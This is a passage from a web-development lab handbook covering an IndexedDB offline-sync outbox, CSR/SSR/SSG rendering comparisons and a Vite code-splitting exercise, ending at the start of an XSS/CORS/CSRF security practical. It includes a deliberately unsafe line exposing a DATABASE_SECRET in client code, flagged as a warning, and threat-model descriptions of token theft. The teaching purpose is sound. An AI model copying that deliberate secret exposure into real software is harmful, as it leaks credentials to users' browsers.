    Dispatch -->|503 / Network Drop| Retry["5b. Increment attempts\nSchedule Exponential Backoff"]
    Dispatch -->|409 Conflict / 422 Fatal| Conflict["5c. Mark Outbox: 'failed'\nPrompt User Resolution"]

Workspace Setup

Create a dedicated TypeScript practical directory:

mkdir -p practical-10-offline-sync/src
cd practical-10-offline-sync
npm init -y
npm install --save-dev typescript @types/node vitest
npx tsc --init

Ensure your tsconfig.json targets ES2022 with "moduleResolution": "node" and "lib": ["DOM", "ES2022"].


Architecture and Core Types

Define the core domain contracts in src/types.ts:

// src/types.ts
export type SyncStatus = 'draft' | 'pending_sync' | 'syncing' | 'synced' | 'conflict' | 'failed';

export interface FieldInspection {
  localId: string;              // Client-generated UUID (crypto.randomUUID())
  serverId: string | null;      // Canonical ID assigned by municipal backend
  facilityName: string;
  inspectorId: string;
  complianceVerdict: 'pass' | 'conditional' | 'violation';
  notes: string;
  updatedAt: number;
  serverVersion: number;        // Concurrency tag for optimistic locking
  syncStatus: SyncStatus;
}

export interface OutboxOperation {
  operationId: string;          // Unique idempotency key (UUID v4)
  entity: 'inspection';
  entityLocalId: string;
  endpoint: string;
  method: 'POST' | 'PUT' | 'PATCH';
  payload: Record<string, unknown>;
  createdAt: number;
  attempts: number;
  lastAttemptAt?: number;
  lastError?: string;
  status: 'queued' | 'syncing' | 'failed';
}

export interface ServerAcknowledgment {
  serverId: string;
  serverVersion: number;
  syncedAt: number;
}

Stage-by-Stage Implementation

Stage 1: IndexedDB Storage & Transactional Atomicity

Directly interacting with the callback-based indexedDB API is error-prone. Wrap database initialization and transactions in clean Promise boundaries:

// src/db.ts
import { FieldInspection, OutboxOperation } from './types';

const DB_NAME = 'MunicipalInspectionDB';
const DB_VERSION = 1;

export async function openInspectionDatabase(): Promise<IDBDatabase> {
  return new Promise((resolve, reject) => {
    const request = indexedDB.open(DB_NAME, DB_VERSION);

    request.onerror = () => reject(request.error);
    request.onsuccess = () => resolve(request.result);

    request.onupgradeneeded = (event) => {
      const db = (event.target as IDBOpenDBRequest).result;

      // 1. Domain records store: indexed by localId
      if (!db.objectStoreNames.contains('inspections')) {
        const inspectionStore = db.createObjectStore('inspections', { keyPath: 'localId' });
        inspectionStore.createIndex('syncStatus', 'syncStatus', { unique: false });
        inspectionStore.createIndex('serverId', 'serverId', { unique: false });
      }

      // 2. Durable Outbox store: indexed by operationId
      if (!db.objectStoreNames.contains('outbox')) {
        const outboxStore = db.createObjectStore('outbox', { keyPath: 'operationId' });
        outboxStore.createIndex('status', 'status', { unique: false });
        outboxStore.createIndex('createdAt', 'createdAt', { unique: false });
      }
    };
  });
}

Requirement: Atomic Local Commit

When an inspector finishes a review, write both the updated inspection record and the new outbox command within the same atomic database transaction. If storage quota is exceeded or writing fails halfway through, the entire transaction rolls back, preventing orphaned outbox tasks:

export async function commitInspectionLocally(
  db: IDBDatabase,
  inspection: FieldInspection,
  operation: OutboxOperation
): Promise<void> {
  return new Promise((resolve, reject) => {
    const tx = db.transaction(['inspections', 'outbox'], 'readwrite');
    
    tx.onerror = () => reject(tx.error);
    tx.oncomplete = () => resolve();

    const inspectionStore = tx.objectStore('inspections');
    const outboxStore = tx.objectStore('outbox');

    inspectionStore.put({ ...inspection, syncStatus: 'pending_sync' });
    outboxStore.put({ ...operation, status: 'queued' });
  });
}

Stage 2: Outbox Consumer with Exponential Backoff

Construct src/outboxEngine.ts. The synchronization engine continuously observes the outbox queue, executing items sequentially while respecting backoff rules:

// src/outboxEngine.ts
import { openInspectionDatabase } from './db';
import { OutboxOperation, ServerAcknowledgment } from './types';

export class OutboxEngine {
  private isProcessing = false;

  constructor(
    private readonly maxRetries = 4,
    private readonly baseDelayMs = 500,
    private readonly maxDelayMs = 8000
  ) {}

  /**
   * Drain pending outbox operations sequentially.
   */
  async processQueue(mockNetworkFetch: (op: OutboxOperation) => Promise<ServerAcknowledgment>): Promise<void> {
    if (this.isProcessing) return;
    this.isProcessing = true;

    try {
      const db = await openInspectionDatabase();
      const operations = await this.getQueuedOperations(db);

      for (const op of operations) {
        // Enforce exponential backoff delay before re-attempting
        if (op.attempts > 0 && op.lastAttemptAt) {
          const delay = Math.min(this.maxDelayMs, this.baseDelayMs * Math.pow(2, op.attempts - 1));
          const elapsed = Date.now() - op.lastAttemptAt;
          if (elapsed < delay) {
            continue; // Not ready for next retry window
          }
        }

        try {
          await this.markOperationStatus(db, op.operationId, 'syncing');
          const ack = await mockNetworkFetch(op);
          
          // Success: finalize domain record and clear outbox entry
          await this.completeOperation(db, op.entityLocalId, op.operationId, ack);
        } catch (error: unknown) {
          const isTransient = this.evaluateTransientError(error);
          const nextAttempts = op.attempts + 1;

          if (isTransient && nextAttempts < this.maxRetries) {
            await this.updateOperationRetry(db, op.operationId, nextAttempts, String(error));
          } else {
            // Permanent failure or retry limit exceeded
            await this.markOperationFailed(db, op.entityLocalId, op.operationId, String(error));
          }
        }
      }
    } finally {
      this.isProcessing = false;
    }
  }

  private evaluateTransientError(error: unknown): boolean {
    const errStr = String(error);
    // 5xx Server Errors and network drops are transient; 4xx are permanent
    return errStr.includes('503') || errStr.includes('500') || errStr.includes('NetworkError');
  }

  // Database helper methods for status transitions...
  private async getQueuedOperations(db: IDBDatabase): Promise<OutboxOperation[]> {
    return new Promise((resolve) => {
      const tx = db.transaction('outbox', 'readonly');
      const request = tx.objectStore('outbox').getAll();
      request.onsuccess = () => {
        const ops = (request.result as OutboxOperation[])
          .filter(o => o.status === 'queued' || o.status === 'syncing')
          .sort((a, b) => a.createdAt - b.createdAt);
        resolve(ops);
      };
    });
  }

  private async completeOperation(
    db: IDBDatabase, 
    localId: string, 
    operationId: string, 
    ack: ServerAcknowledgment
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const tx = db.transaction(['inspections', 'outbox'], 'readwrite');
      tx.oncomplete = () => resolve();
      tx.onerror = () => reject(tx.error);

      // Remove from outbox
      tx.objectStore('outbox').delete(operationId);

      // Reconcile domain record with server ID and synced status
      const inspStore = tx.objectStore('inspections');
      const getReq = inspStore.get(localId);
      getReq.onsuccess = () => {
        if (getReq.result) {
          inspStore.put({
            ...getReq.result,
            serverId: ack.serverId,
            serverVersion: ack.serverVersion,
            syncStatus: 'synced',
          });
        }
      };
    });
  }

  private async updateOperationRetry(
    db: IDBDatabase, 
    operationId: string, 
    attempts: number, 
    errorMsg: string
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const tx = db.transaction('outbox', 'readwrite');
      tx.oncomplete = () => resolve();
      tx.onerror = () => reject(tx.error);

      const store = tx.objectStore('outbox');
      const req = store.get(operationId);
      req.onsuccess = () => {
        if (req.result) {
          store.put({
            ...req.result,
            status: 'queued',
            attempts,
            lastAttemptAt: Date.now(),
            lastError: errorMsg,
          });
        }
      };
    });
  }

  private async markOperationStatus(db: IDBDatabase, operationId: string, status: 'syncing' | 'queued'): Promise<void> {
    return new Promise((resolve) => {
      const tx = db.transaction('outbox', 'readwrite');
      const store = tx.objectStore('outbox');
      const req = store.get(operationId);
      req.onsuccess = () => {
        if (req.result) {
          store.put({ ...req.result, status });
        }
      };
      tx.oncomplete = () => resolve();
    });
  }

  private async markOperationFailed(
    db: IDBDatabase, 
    localId: string, 
    operationId: string, 
    errorMsg: string
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const tx = db.transaction(['inspections', 'outbox'], 'readwrite');
      tx.oncomplete = () => resolve();
      tx.onerror = () => reject(tx.error);

      const outStore = tx.objectStore('outbox');
      const outReq = outStore.get(operationId);
      outReq.onsuccess = () => {
        if (outReq.result) {
          outStore.put({ ...outReq.result, status: 'failed', lastError: errorMsg });
        }
      };

      const inspStore = tx.objectStore('inspections');
      const inspReq = inspStore.get(localId);
      inspReq.onsuccess = () => {
        if (inspReq.result) {
          inspStore.put({ ...inspReq.result, syncStatus: 'failed' });
        }
      };
    });
  }
}

Stage 3: Connectivity Probing & Triggers

Never rely solely on window.addEventListener('online') or navigator.onLine. Browsers frequently report navigator.onLine = true when trapped behind a public Wi-Fi portal or when connected to a router with no internet uplink.

Implement a composite sync listener:

// src/connectivity.ts
export class ConnectivityManager {
  private listeners: Array<(isOnline: boolean) => void> = [];

  constructor(private readonly pingEndpoint = '/api/health') {
    window.addEventListener('online', () => this.verifyEgress());
    window.addEventListener('focus', () => this.verifyEgress());
    document.addEventListener('visibilitychange', () => {
      if (document.visibilityState === 'visible') {
        this.verifyEgress();
      }
    });
  }

  async verifyEgress(): Promise<boolean> {
    // If browser natively knows it's offline, don't bother probing
    if (typeof navigator !== 'undefined' && !navigator.onLine) {
      this.notify(false);
      return false;
    }

    try {
      const response = await fetch(this.pingEndpoint, {
        method: 'HEAD',
        cache: 'no-store',
        signal: AbortSignal.timeout(3000),
      });
      const reachable = response.ok;
      this.notify(reachable);
      return reachable;
    } catch {
      this.notify(false);
      return false;
    }
  }

  subscribe(listener: (isOnline: boolean) => void): () => void {
    this.listeners.push(listener);
    return () => {
      this.listeners = this.listeners.filter(l => l !== listener);
    };
  }

  private notify(isOnline: boolean): void {
    for (const listener of this.listeners) {
      listener(isOnline);
    }
  }
}

Stage 4: Conflict Detection and Version Vectors

When an inspector reconciles an inspection report, the municipal server checks whether another supervisory officer modified the same record while the field inspector was offline:

sequenceDiagram
    autonumber
    participant Client as Inspector Tablet
    participant Outbox as Outbox Engine
    participant Server as Municipal Server

    Note over Client: Device offline: edits inspection (v1 -> v2 locally)
    Note over Server: Supervisor edits inspection via desktop portal (v1 -> v2 on server)
    Client->>Outbox: Reconnection occurs
    Outbox->>Server: PUT /api/inspections/104\nHeader: If-Match: "v1"\nPayload: { verdict: 'pass' }
    Server-->>Outbox: 409 Conflict\nPayload: { serverVersion: 2, currentRecord: { verdict: 'conditional' } }
    Outbox->>Client: Transition record to 'conflict' state
    Note over Client: UI presents Side-by-Side Resolution Modal to Inspector

Verification and Testing Matrix

Validate your implementation against these required failure and recovery test scenarios:

Test CaseSimulation ConditionExpected Behavioral Guarantee
1. Cold Reboot SurvivalQueue 3 outbox inspections, immediately execute window.location.reload().All 3 operations remain in IndexedDB with queued status and uncorrupted payloads.
2. Duplicate PreventionTrigger sync while network drops midway through response. Retry with identical operationId.Server recognizes existing Idempotency-Key and returns acknowledgment without duplicating database records.
3. Transient BackoffMock API returns 503 Service Unavailable for 2 attempts, then 200 OK.Engine backs off ($500\text{ms} \rightarrow 1000\text{ms}$), retries twice, and transitions record to synced.
4. Permanent 422 RejectionSubmit inspection with missing mandatory inspector signature (422 Unprocessable).Engine halts retries immediately, marks outbox item failed, and surfaces validation message in the UI.
5. Optimistic ConcurrencyServer returns 409 Conflict (record modified by supervisor while inspector offline).Record moves to conflict state; local draft is not deleted; inspector prompted with visual merge modal.

Deliverables & Submission Checklist

  1. src/types.ts: Clean domain and outbox TypeScript interfaces.
  2. src/db.ts: IndexedDB wrapper with atomic two-store transaction support.
  3. src/outboxEngine.ts: Durable queue processor featuring exponential backoff, retry limits, and status transitions.
  4. src/connectivity.ts: Egress heartbeat verifier that avoids trusting naive navigator.onLine.
  5. tests/outbox.test.ts: Automated test suite covering the 5 scenarios in the verification matrix.

11 - Rendering Topology Comparison: CSR, SSR, and Static Delivery

Practical 11 - Rendering Topology Comparison: CSR, SSR, and Static Delivery

Related: Chapter 11 · Lecture slides

Objective

Evaluate and measure the concrete performance, architectural, and data-flow trade-offs between Client-Side Rendering (CSR), Server-Side Rendering (SSR), and Static Site Generation (SSG) across identical route requirements: the Municipal Public Permit Catalogue.

By completing this laboratory, you will:

  1. Instrument the Performance Triangle: Measure runnable metrics - Time to First Byte (TTFB), First Contentful Paint (FCP), total transferred JavaScript bytes, and Time to Interactive (TTI) - across different topologies.
  2. Audit the State Handoff Boundary: Inspect the serialized data payload transferred from server to client to prevent secret leakage and double-fetch overhead.
  3. Analyze Hydration Costs: Observe the “uncanny valley” where server-rendered HTML is visible on screen but unclickable until client hydration finishes walking the DOM.
  4. Distinguish Runnable Measurements from Conceptual Topologies: Conduct hands-on measurements for the core three topologies (CSR, SSR, SSG), while evaluating advanced topologies (Streaming and Islands) through structured architectural analysis.
flowchart TD
    subgraph TopologyComparison["The Three Measured Topologies"]
        CSR["1. Client-Side Rendering (CSR)\n- Server sends: Empty HTML Shell (<div id='root'>) + 180KB JS Bundle\n- Browser executes: fetch('/api/permits') → calculates DOM → paints"]
        SSG["2. Static Site Generation (SSG)\n- Build process: Pre-renders full HTML at compile time\n- Server sends: 12KB static HTML from CDN (<20ms TTFB)"]
        SSR["3. Server-Side Rendering (SSR)\n- Request arrives: Server queries DB, renders HTML string\n- Server sends: Dynamic HTML + serialized state JSON (<script id='__DATA__'>)"]
    end

Workspace Setup

Set up a minimal Node.js / TypeScript environment with local instrumentation tools:

mkdir -p practical-11-rendering/src
cd practical-11-rendering
npm init -y
npm install --save-dev typescript @types/node vitest
npx tsc --init

Ensure your tsconfig.json targets ES2022 with "moduleResolution": "node".


The Shared Catalogue Specification

All three implementations must render the exact same public data model and layout:

// src/types.ts
export interface PermitSummary {
  id: string;
  permitNumber: string;
  businessName: string;
  category: 'Commercial' | 'Industrial' | 'Hospitality';
  status: 'active' | 'pending' | 'expired';
  issuedDate: string;
  feeAmountIQD: number;
}

export interface CatalogueViewModel {
  permits: PermitSummary[];
  generatedAt: string;
  topology: 'CSR' | 'SSR' | 'SSG';
}

Stage-by-Stage Implementation

Stage 1: The Client-Side Rendered (CSR) Baseline

In CSR, the web server acts merely as a dumb static file host. The server returns a near-empty HTML shell:

<!-- dist/csr/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Municipal Permits (CSR)</title>
  <link rel="stylesheet" href="/assets/style.css">
</head>
<body>
  <div id="root">
    <!-- Empty loading placeholder while JS executes -->
    <div class="skeleton-loader">Loading municipal permits...</div>
  </div>
  <script type="module" src="/assets/csr-bundle.js"></script>
</body>
</html>

In src/csr-bundle.ts, implement the client orchestrator:

  1. When mounted, fire fetch('/api/permits').
  2. Await the JSON response.
  3. Dynamically construct HTML strings or DOM elements and insert them into #root.
  4. Measure the latency gap between DOMContentLoaded and First Contentful Paint.

Stage 2: Pre-rendered Static Delivery (SSG / Edge HTML)

In SSG, the HTML is pre-computed at build time. There is zero server execution latency at request time:

// src/ssg-builder.ts
import * as fs from 'fs';
import { PermitSummary } from './types';

export function buildStaticCatalogue(permits: PermitSummary[]): void {
  const permitRows = permits.map(p => `
    <article class="permit-card" data-id="${p.id}">
      <h3>${p.businessName} (${p.permitNumber})</h3>
      <p>Category: ${p.category} | Status: <span class="badge ${p.status}">${p.status}</span></p>
      <p>Issued: ${p.issuedDate} | Fee: ${p.feeAmountIQD.toLocaleString()} IQD</p>
    </article>
  `).join('');

  const html = `<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Municipal Permits (SSG)</title>
  <link rel="stylesheet" href="/assets/style.css">
</head>
<body>
  <header><h1>Municipal Permit Catalogue (Static Pre-rendered)</h1></header>
  <main id="catalogue-grid">${permitRows}</main>
  <footer><p>Generated at build time for instant CDN delivery.</p></footer>
</body>
</html>`;

  fs.writeFileSync('dist/ssg/index.html', html, 'utf-8');
}

Verification Requirement:

Serve dist/ssg/index.html using a simple HTTP server (npx serve dist/ssg). Verify that:

  • TTFB is under 25ms.
  • The document content is visible immediately without requiring client JavaScript execution.

Stage 3: Server-Side Rendering (SSR) & State Handoff

In SSR, the server receives the incoming HTTP request, queries the database at request time, and generates dynamic HTML tailored to query parameters (e.g. ?category=Hospitality):

// src/ssr-server.ts
import { createServer, IncomingMessage, ServerResponse } from 'http';
import { PermitSummary } from './types';

const MOCK_DB: PermitSummary[] = [
  { id: '1', permitNumber: 'P-101', businessName: 'Citadel Hotel', category: 'Hospitality', status: 'active', issuedDate: '2026-01-15', feeAmountIQD: 250000 },
  { id: '2', permitNumber: 'P-102', businessName: 'Erbil Steelworks', category: 'Industrial', status: 'pending', issuedDate: '2026-02-01', feeAmountIQD: 750000 },
];

export const server = createServer(async (req: IncomingMessage, res: ServerResponse) => {
  const url = new URL(req.url || '/', `http://${req.headers.host}`);

  if (url.pathname === '/permits') {
    // 1. Server fetches fresh data
    const categoryFilter = url.searchParams.get('category');
    const filteredPermits = categoryFilter 
      ? MOCK_DB.filter(p => p.category.toLowerCase() === categoryFilter.toLowerCase())
      : MOCK_DB;

    // 2. Server renders HTML string
    const htmlCards = filteredPermits.map(p => `
      <article class="permit-card" data-id="${p.id}">
        <h3>${p.businessName}</h3>
        <button class="btn-inspect" data-permit-id="${p.id}">Inspect Details</button>
      </article>
    `).join('');

    // 3. Serialize data for client hydration handoff (preventing double-fetching)
    const serializedData = JSON.stringify(filteredPermits).replace(/</g, '\\u003c');

    const documentHtml = `<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Municipal Permits (SSR)</title>
  <link rel="stylesheet" href="/assets/style.css">
</head>
<body>
  <div id="root">${htmlCards}</div>
  
  <!-- State Handoff Script -->
  <script id="__PERMIT_DATA__" type="application/json">${serializedData}</script>
  <script type="module" src="/assets/ssr-client-hydrate.js"></script>
</body>
</html>`;

    res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
    res.end(documentHtml);
    return;
  }

  res.writeHead(404);
  res.end('Not Found');
});

Stage 4: The Hydration Script and Handoff Audit

In src/ssr-client-hydrate.ts, implement the client hydration phase:

// src/ssr-client-hydrate.ts
import { PermitSummary } from './types';

// 1. Read serialized server snapshot from DOM script tag (0ms network cost)
const dataScript = document.getElementById('__PERMIT_DATA__');
if (dataScript) {
  const initialData: PermitSummary[] = JSON.parse(dataScript.textContent || '[]');
  console.log(`[Hydration] Successfully recovered ${initialData.length} records without refetching.`);
}

// 2. Attach interactive event listeners without re-creating existing DOM elements
document.querySelectorAll<HTMLButtonElement>('.btn-inspect').forEach(button => {
  button.addEventListener('click', (e) => {
    const permitId = (e.currentTarget as HTMLButtonElement).dataset.permitId;
    alert(`Opening inspection workflow for permit ${permitId}`);
  });
});
console.log('[Hydration] Event listeners bound. Page is now fully interactive.');

Security Audit Check:

Inspect the generated HTML source. Verify that:

  1. No internal connection strings, database passwords, or unscrubbed administrative notes exist in <script id="__PERMIT_DATA__">.
  2. All serialized JSON text escapes < as \u003c to eliminate Cross-Site Scripting (XSS) script breakout vulnerabilities.

Architectural Comparison Matrix

Record your measurements and architectural observations in the following comparison table:

DimensionClient-Side Rendering (CSR)Server-Side Rendering (SSR)Static Site Generation (SSG)
Initial HTML Size~1.5 KB (skeleton only)12–40 KB (full markup + JSON)10–30 KB (full markup, 0 JSON)
Time to First Byte (TTFB)~20 ms (static edge host)80–300 ms (server DB query latency)<20 ms (global CDN cache)
First Contentful Paint (FCP)Slow (blocked by JS download & API)Fast (instant paint of HTML)Fastest (instant paint of static HTML)
Time to Interactive (TTI)Synchronized with FCPLagging FCP (the “uncanny valley”)Immediate (or zero if no JS needed)
SEO IndexabilityReliant on search bot JS executionUniversal (raw HTML available)Universal (raw HTML available)
Server Compute OverheadZero (static assets only)High (CPU & memory per request)Zero at runtime (build-time only)
Content FreshnessAlways fresh (client queries API)Real-time per requestStale until next build/revalidation

Optional Conceptual Extensions

  1. Streaming SSR with Suspense: Analyze how flushing HTTP headers and the outer App Shell immediately while streaming slow table rows in subsequent chunks eliminates the TTFB penalty of traditional SSR.
  2. Island Architecture (Astro / Fresh): Evaluate how isolating client hydration strictly to the .btn-inspect buttons (leaving 95% of the page as unhydrated static HTML) eliminates the client JavaScript bundle overhead.

Deliverables & Submission Checklist

  1. src/types.ts: Domain models for the permit catalogue.
  2. dist/csr/index.html & src/csr-bundle.ts: Fully working client-rendered baseline.
  3. src/ssg-builder.ts: Static HTML compilation script.
  4. src/ssr-server.ts: Node.js HTTP server rendering dynamic HTML with safe serialized state handoff.
  5. src/ssr-client-hydrate.ts: Non-destructive DOM hydration script.
  6. Completed Architectural Comparison Matrix with local measurements.

12 - Inspect a Modern Front-End Toolchain and Module Graph

Practical 12 - Inspect a Modern Front-End Toolchain and Module Graph

Related: Chapter 12 · Lecture slides

Objective

Trace a front-end codebase through the complete modern delivery pipeline: from raw TypeScript source files and package resolution, through unbundled native ESM development with Hot Module Replacement (HMR), to production chunking, dynamic code splitting, tree shaking, and artifact auditing.

You will:

  1. Observe Development vs. Production Duality: Inspect the unbundled HTTP/2 module stream during local development and contrast it with production chunk bundling.
  2. Implement Dynamic Code Splitting: Isolate an expensive reporting and analytics module into a separate, on-demand asynchronous chunk (import()).
  3. Verify Chunk Separation: Mathematically verify that heavy charting and PDF dependencies are completely absent from the initial application entry bundle.
  4. Audit Source Maps and Asset Fingerprints: Verify reverse stack trace mapping from production minified bundles back to exact TypeScript source lines, and confirm content-hashing for cache busting.
  5. Enforce Environment Boundaries: Audit build-time environment replacements (import.meta.env) to guarantee zero leakage of private credentials.
flowchart TD
    subgraph DevelopmentExecution["Development Mode (Vite Dev Server)"]
        BrowserDev["Browser (Native ESM)"] <-->|Individual HTTP module requests| DevServer["Dev Server (esbuild transform on demand)"]
        DevServer <-->|WebSocket HMR| BrowserDev
    end

    subgraph ProductionBuildPipeline["Production Build (Rollup / Production Bundler)"]
        Src["Source Modules (DAG)"] --> Split["Dynamic import() Boundary"]
        Split --> EntryChunk["Chunk 1: app.8f31c.js (45KB)\nInitial Shell + Core Router"]
        Split --> VendorChunk["Chunk 2: vendor.2a1d.js (70KB)\nShared Framework Dependencies"]
        Split --> AsyncChunk["Chunk 3: reports.9c4e.js (210KB)\nHeavy Analytics & Charting"]
    end

Workspace Setup

Initialize a clean TypeScript Vite project:

mkdir -p practical-12-toolchain/src
cd practical-12-toolchain
npm init -y
npm install --save-dev typescript vite rollup vitest
npx tsc --init

Configure vite.config.ts:

// vite.config.ts
import { defineConfig } from 'vite';

export default defineConfig({
  build: {
    target: 'es2022',
    sourcemap: true,
    rollupOptions: {
      output: {
        manualChunks: {
          vendor: ['vitest'], // Shared vendor boundary
        },
      },
    },
  },
});

Stage-by-Stage Implementation

Stage 1: The Multi-Route Application Scaffold

Construct a modular application featuring a lightweight core view and a heavy, data-dense reporting dashboard.

In src/heavyAnalytics.ts, simulate a heavy charting engine:

// src/heavyAnalytics.ts
// Simulates an expensive 150KB statistical library
export function generateMunicipalAuditReport(data: number[]): string {
  const sum = data.reduce((a, b) => a + b, 0);
  const mean = sum / data.length;
  return `Municipal Financial Audit: Total = ${sum.toLocaleString()} IQD | Mean = ${mean.toFixed(2)} IQD`;
}

export const HEAVY_CHART_CONFIG = {
  theme: 'dark',
  renderingEngine: 'webgl-canvas',
  matrixData: new Array(10000).fill(0).map((_, i) => i * 1.5),
};

In src/main.ts, establish a dynamic code-splitting boundary:

// src/main.ts
const app = document.getElementById('app')!;

app.innerHTML = `
  <header><h1>Municipal Operations Portal</h1></header>
  <nav>
    <button id="btn-home">Home Overview</button>
    <button id="btn-reports">Load Financial Audit (Heavy)</button>
  </nav>
  <main id="content"><p>Select a section above.</p></main>
`;

const content = document.getElementById('content')!;

document.getElementById('btn-home')!.addEventListener('click', () => {
  content.innerHTML = `<p>Welcome to the municipal overview. Standard lightweight view.</p>`;
});

// Dynamic Import Boundary: The heavy analytics code MUST NOT be loaded initially
document.getElementById('btn-reports')!.addEventListener('click', async () => {
  content.innerHTML = `<p class="loading">Loading audit analytics engine...</p>`;
  
  // Asynchronous chunk boundary
  const { generateMunicipalAuditReport, HEAVY_CHART_CONFIG } = await import('./heavyAnalytics');
  
  const auditSummary = generateMunicipalAuditReport([150000, 420000, 890000, 310000]);
  content.innerHTML = `
    <div class="audit-panel">
      <h3>${auditSummary}</h3>
      <p>Data points analyzed: ${HEAVY_CHART_CONFIG.matrixData.length}</p>
    </div>
  `;
});

Stage 2: Observing Native ESM in Development

Start the development server:

npx vite
  1. Open your browser’s Developer Tools and navigate to the Network tab.
  2. Load http://localhost:5173.
  3. Observe the Request Waterfall: Notice that Vite does not serve a bundled bundle.js. Instead, you see individual HTTP requests for /src/main.ts, /src/style.css, etc.
  4. Observe the Absence of heavyAnalytics.ts: Verify that heavyAnalytics.ts is not requested upon initial page load.
  5. Click “Load Financial Audit (Heavy)”:
    • Watch the Network panel.
    • Observe the browser dynamically dispatching an HTTP GET request for /src/heavyAnalytics.ts only upon user interaction.

Stage 3: Production Bundling & Chunk Verification

Compile the application for production:

npx vite build

Examine the output emitted into dist/assets/:

dist/index.html                           0.45 kB
dist/assets/main-8f31c9a1.js              1.82 kB │ gzip: 0.85 kB
dist/assets/heavyAnalytics-6d4b2e81.js   45.20 kB │ gzip: 12.40 kB
dist/assets/main-8f31c9a1.js.map          4.20 kB
dist/assets/heavyAnalytics-6d4b2e81.js.map 85.10 kB

Verification Requirement:

Open dist/assets/main-*.js in a text editor and search for HEAVY_CHART_CONFIG or generateMunicipalAuditReport.

  • Expected Result: Neither string appears in main-*.js. The heavy code has been strictly isolated into the lazy-loaded heavyAnalytics-*.js chunk.
  • Cache-Busting Check: Confirm that both emitted JavaScript files contain an 8-character content hash (main-[hash].js), ensuring immutable CDN caching.

Stage 4: Source Map Reverse-Audit

Serve the production build locally:

npx vite preview
  1. In DevTools, deliberately trigger an error inside heavyAnalytics.ts:
    throw new Error("Municipal audit calculation overflow");
  2. Rebuild and reload vite preview.
  3. Open the browser Console.
  4. Verify that DevTools uses the .map file to map the error directly back to src/heavyAnalytics.ts:line 4, rather than displaying minified heavyAnalytics-6d4b2e81.js:1:380.

Stage 5: Environment Variable Boundary Audit

Add an environment variable test:

// src/envCheck.ts
export const publicApiUrl = import.meta.env.VITE_MUNICIPAL_API_URL || 'https://api.erbil.gov.krd';

// DANGER: Never do this!
export const leakedSecret = import.meta.env.DATABASE_SECRET; 

Run npx vite build and inspect the output:

  • Verify that VITE_MUNICIPAL_API_URL was replaced at build time with a plain string literal.
  • Verify that DATABASE_SECRET (without the VITE_ prefix) was stripped and replaced with undefined, preventing accidental client leakage.

Verification and Testing Matrix

Test CaseMethod / ToolExpected Behavioral Guarantee
1. Unbundled Dev BootNetwork Tab on vite devZero bundle files; individual .ts modules served as native ESM.
2. Dynamic Code SplittingInitial page load vs. button clickheavyAnalytics.ts is only requested over the network after clicking the button.
3. Chunk IsolationGrep dist/assets/main-*.jsZero occurrences of generateMunicipalAuditReport in entry bundle.
4. Content HashingChange one line in heavyAnalytics.tsHash of heavyAnalytics-*.js changes; hash of main-*.js remains identical.
5. Source Map IntegrityThrow Error in production previewStack trace points to TypeScript source line, not minified bundle.
6. Secret IsolationGrep dist/assets/*.jsNo un-prefixed environment secrets exist in public client bundles.

Optional Conceptual Extension: Educational Dependency Crawler

Implement a 30-line educational dependency graph crawler using Node’s fs and regular expressions to detect circular dependencies between modules:

// scripts/crawlGraph.ts (Educational prototype, not a production bundler)
import * as fs from 'fs';
import * as path from 'path';

function getImports(filePath: string): string[] {
  const content = fs.readFileSync(filePath, 'utf-8');
  const matches = content.matchAll(/from\s+['"](\.[^'"]+)['"]/g);
  return Array.from(matches, m => path.resolve(path.dirname(filePath), m[1] + '.ts'));
}

export function detectCycles(entry: string, visited = new Set<string>(), stack = new Set<string>()): boolean {
  visited.add(entry);
  stack.add(entry);

  for (const dep of getImports(entry)) {
    if (!visited.has(dep) && fs.existsSync(dep)) {
      if (detectCycles(dep, visited, stack)) return true;
    } else if (stack.has(dep)) {
      console.warn(`[Cycle Detected] ${entry} -> ${dep}`);
      return true;
    }
  }
  stack.delete(entry);
  return false;
}

Deliverables & Submission Checklist

  1. vite.config.ts: Configured with source maps and chunk splitting.
  2. src/main.ts & src/heavyAnalytics.ts: Working dynamic import boundary.
  3. Emitted dist/assets/ directory demonstrating isolated chunk sizes.
  4. Verified source map stack trace demonstration.
  5. Completed Verification and Testing Matrix with recorded measurements.

13 - Security Boundary Review: XSS, CORS, and Authentication Boundaries

Practical 13 - Security Boundary Review: XSS, CORS, and Authentication Boundaries

Related: Chapter 13 · Lecture slides

Objective

Conduct a rigorous threat-model review and hardening exercise on a simulated front-end application boundary. You will identify real-world vulnerabilities across Cross-Site Scripting (XSS), Cross-Origin Resource Sharing (CORS), Cross-Site Request Forgery (CSRF), and authentication token management.

By completing this laboratory, you will:

  1. Trace Untrusted Input from Source to Sink: Track untrusted strings from URL parameters, API payloads, and form inputs into dangerous DOM execution sinks.
  2. Eliminate DOM-Based XSS: Replace dangerous injection sinks with safe text rendering, context-aware encoding, and reviewed sanitization.
  3. Demystify the CORS Boundary: Demonstrate why CORS is a browser-enforced response isolation mechanism rather than a server authorization check.
  4. Harden Mutation Endpoints against CSRF: Configure SameSite cookie attributes and custom request headers to eliminate cross-site forged mutations.
  5. Architect Secure Credential Storage: Evaluate the security trade-offs of browser-held bearer tokens in localStorage versus HttpOnly, Secure, SameSite cookies mediated by a Backend-for-Frontend (BFF).
flowchart TD
    subgraph ThreatModel["Front-End Security Threat Model"]
        XSS["1. Cross-Site Scripting (XSS)\nUntrusted input injected into innerHTML\n→ Attacker steals session tokens & impersonates user"]
        CORS_Pitfall["2. CORS Misconception\nAssuming Access-Control-Allow-Origin prevents unauthorized server writes\n→ Server executes mutation before browser blocks read!"]
        CSRF["3. Cross-Site Request Forgery (CSRF)\nAttacker site triggers ambient cookie submission\n→ Unauthorized state change on municipal backend"]
        AuthLeak["4. Insecure Token Storage\nStoring JWT access tokens in localStorage\n→ Vulnerable to extraction by any third-party script or XSS"]
    end

Workspace Setup

Create a minimal Node.js / TypeScript security test harness:

mkdir -p practical-13-security/src
cd practical-13-security
npm init -y
npm install --save-dev typescript @types/node vitest dompurify @types/dompurify jsdom
npx tsc --init

Ensure your tsconfig.json targets ES2022 with "lib": ["DOM", "ES2022"].


Stage-by-Stage Implementation

Stage 1: Tracing Untrusted Input to Dangerous DOM Sinks

